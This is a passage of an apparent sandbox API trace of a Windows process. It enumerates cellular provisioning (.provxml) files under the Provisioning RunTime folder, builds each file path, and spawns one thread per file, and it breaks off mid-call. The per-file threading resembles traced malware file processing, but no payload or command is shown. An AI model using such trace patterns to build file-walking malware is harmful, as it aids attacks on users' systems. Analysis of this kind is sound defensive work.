hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9185653d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9185653d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9185653d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", cAlternateFileName="686__C~1.PRO")) returned 1 [0182.369] wcscmp (_String1="686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.369] wcscmp (_String1="686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.369] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x2fe2308 [0182.369] wcscpy (in: _Dest=0x2fe2308, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.369] wcscat (in: _Dest=0x2fe2308, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.369] wcscat (in: _Dest=0x2fe2308, _Source="686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\686__Connections_Cellular_T-Mobile.pl (Poland)_i0$(__MVID)@WAP.provxml" [0182.369] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2308, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x650 [0182.370] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9185653d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9185653d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9185653d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="687__C~1.PRO")) returned 1 [0182.370] wcscmp (_String1="687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.370] wcscmp (_String1="687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2460 [0182.370] wcscpy (in: _Dest=0x2fe2460, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.370] wcscat (in: _Dest=0x2fe2460, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.370] wcscat (in: _Dest=0x2fe2460, _Source="687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" [0182.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2460, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x778 [0182.370] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9185653d, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9185653d, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9185653d, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="688__C~1.PRO")) returned 1 [0182.370] wcscmp (_String1="688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.370] wcscmp (_String1="688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.370] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe25b8 [0182.371] wcscpy (in: _Dest=0x2fe25b8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.371] wcscat (in: _Dest=0x2fe25b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.371] wcscat (in: _Dest=0x2fe25b8, _Source="688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\688__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" [0182.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe25b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x304 [0182.371] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9187c7a9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9187c7a9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9187c7a9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="689__C~1.PRO")) returned 1 [0182.371] wcscmp (_String1="689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.371] wcscmp (_String1="689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.371] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2058 [0182.371] wcscpy (in: _Dest=0x2fe2058, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.371] wcscat (in: _Dest=0x2fe2058, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.371] wcscat (in: _Dest=0x2fe2058, _Source="689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" [0182.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4 [0182.372] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9032cd93, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9032cd93, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9032cd93, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", cAlternateFileName="68__CO~1.PRO")) returned 1 [0182.372] wcscmp (_String1="68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.372] wcscmp (_String1="68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.372] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1598 [0182.372] wcscpy (in: _Dest=0x2fe1598, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.372] wcscat (in: _Dest=0x2fe1598, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.372] wcscat (in: _Dest=0x2fe1598, _Source="68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\68__Connections_Cellular_China Mobile (China)_i0$(__MVID)@WAP.provxml" [0182.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1598, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x37c [0182.373] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9187c7a9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9187c7a9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9187c7a9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="690__C~1.PRO")) returned 1 [0182.373] wcscmp (_String1="690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.373] wcscmp (_String1="690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.373] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1f00 [0182.373] wcscpy (in: _Dest=0x2fe1f00, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.373] wcscat (in: _Dest=0x2fe1f00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.373] wcscat (in: _Dest=0x2fe1f00, _Source="690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" [0182.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1f00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0182.374] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9187c7a9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9187c7a9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9187c7a9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", cAlternateFileName="691__C~1.PRO")) returned 1 [0182.374] wcscmp (_String1="691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.374] wcscmp (_String1="691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.374] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe2868 [0182.374] wcscpy (in: _Dest=0x2fe2868, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.374] wcscat (in: _Dest=0x2fe2868, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.374] wcscat (in: _Dest=0x2fe2868, _Source="691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\691__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" [0182.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2868, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0 [0182.375] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9187c7a9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x9187c7a9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x9187c7a9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", cAlternateFileName="692__C~1.PRO")) returned 1 [0182.375] wcscmp (_String1="692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.375] wcscmp (_String1="692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.375] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x2fe1440 [0182.375] wcscpy (in: _Dest=0x2fe1440, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.375] wcscat (in: _Dest=0x2fe1440, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.375] wcscat (in: _Dest=0x2fe1440, _Source="692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\692__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" [0182.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1440, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x338 [0182.376] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918a2a15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", cAlternateFileName="693__C~1.PRO")) returned 1 [0182.376] wcscmp (_String1="693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.376] wcscmp (_String1="693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.376] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe29c0 [0182.376] wcscpy (in: _Dest=0x2fe29c0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.376] wcscat (in: _Dest=0x2fe29c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.376] wcscat (in: _Dest=0x2fe29c0, _Source="693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\693__Connections_Cellular_Kyivstar (Ukraine)_i0$(__MVID)@WAP.provxml" [0182.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe29c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x33c [0182.377] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918a2a15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", cAlternateFileName="694__C~1.PRO")) returned 1 [0182.377] wcscmp (_String1="694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.377] wcscmp (_String1="694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.377] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe16f0 [0182.377] wcscpy (in: _Dest=0x2fe16f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.377] wcscat (in: _Dest=0x2fe16f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.377] wcscat (in: _Dest=0x2fe16f0, _Source="694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\694__Connections_Cellular_Kyivstar (Ukraine)_i1$(__MVID)@WAP.provxml" [0182.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe16f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558 [0182.377] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x918a2a15, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x918a2a15, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x918a2a15, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", cAlternateFileName="695__C~1.PRO")) returned 1 [0182.377] wcscmp (_String1="695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0182.377] wcscmp (_String1="695__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0182.378] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x146) returned 0x2fe12e8 [0182.378] wcscpy (in: _Dest=0x2fe12e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0182.378] wcscat (in: _Dest=0x2fe12e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0182.378] wcscat (in: _Dest=0x2fe12e8, 